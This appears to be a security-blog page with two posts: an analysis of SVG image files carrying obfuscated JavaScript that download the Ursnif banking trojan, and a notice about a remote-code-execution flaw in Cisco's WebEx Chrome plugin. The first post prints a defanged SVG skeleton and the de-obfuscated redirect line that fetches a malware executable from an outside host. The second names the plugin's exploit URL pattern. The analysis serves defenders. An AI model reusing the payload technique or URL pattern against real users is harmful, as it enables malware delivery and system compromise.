Malicious SVG Files in the Wild
In November 2016, the Facebook messenger application was used to deliver malicious SVG files to people [1]. SVG files (or "Scalable Vector Graphics") are vector images that can be displayed in most modern browsers (natively or via a specific plugin). More precisely, Internet Explorer 9 supports the basic SVG feature sets and IE10 extended the support by adding SVG 1.1 support. In the Microsoft Windows operating system, SVG files are handled by Internet Explorer by default.
From a file format point of view, SVG files are XML-based and can be edited/viewed via your regular text editor. Amongst all the specifications of the SVG format, we can read this one in the W3C recommendations [2]:
Scripting
All aspects of an SVG document can be accessed and manipulated using scripts in a similar way to HTML. The default scripting language is ECMAScript (closely related to JavaScript) and there are defined Document Object Model (DOM) objects for every SVG element and attribute. Scripts are enclosed in
As you can see, attackers have all the requirements to build malicious SVG files. A few days ago, I captured two samples via my honeypot:
- 00967999543-(02).svg (MD5: 6b9649531f35c7de78735aa45d25d1a7)
- P0039988439992_001.jpg.svg (MD5: e2f7245d016c52fc9c56531e483e6cfb)
Those two pictures belong to the same campaign (which targeted Japanese people). The SVG document is very simple, it contains two sections:
_?xml version="1.0" standalone="no"?_ _!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"_ _svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"_ _image width="1000" height="900" xlink:href="data:image/jpeg;base64, ... ... ..." /_ _script type="application/javascript"_ ... ... ... ]]> _/script_ _/svg_
("_" have been used to prevent the code to be interpreted by readers' browsers).
The embedded image (Base64 encoded) is displayed in the browser and is used to entice the victim to activate the script:
The second part is a classic obfuscated JavaScript that executes the following (de-obfuscated) code:
setTimeout(function () { window.location.href = 'hxxp://juanpedroperez.com/fotos/photos/xfs_extension.exe'; }, 1000);
The PE file is not available anymore at the location above but here is a link[3] to the sample (it was an Ursnif banking Trojan[4]). The malicious SVG file is of course delivered via a ZIP archive. At the moment, those two malicious files are detected by most of the antivirus but other waves may be launched. Keep an eye on this file format and another file extension to take care of.
[1] http://securityaffairs.co/wordpress/53650/malware/svg-images-locky.html
[2] https://www.w3.org/TR/SVG11/script.html
[3] https://www.virustotal.com/en/file/3af18232a9175dea624a7947e6edef6a57457bdf6d3ba0ead58856a139db2832/analysis/
[4] https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32/Ursnif
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Critical Vulnerability in Cisco WebEx Chrome Plugin
Update: Version 1.0.5 of the Google Chrome WebEx plugin, released this morning, fixes this issue.
The Google 0-Day project announced a critical remote code execution vulnerability in Cisco's WebEx plugin for Google Chrome. This vulnerability allows a remote attacker to execute arbitrary code on the victim's system by delivering it to the WebEx plugin via a special "secret" URL.
The secret pattern: cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html
Google set up a test page and published a detailed report about how this vulnerability can be used to execute code [1].
Note that version 1.0.3 of the plugin, which was released on Sunday (Jan 22nd), appears to be still vulnerable. At this point, it is probably best to uninstall the plugin and use a different browser for WebEx (of course, this issue may affect plugins for other browsers as well).
An attack would be invisible to the user if executed "right". The user does not have to willingly join a WebEx meeting to exploit this vulnerability.
[1] https://bugs.chromium.org/p/project-zero/issues/detail?id=1096
Comments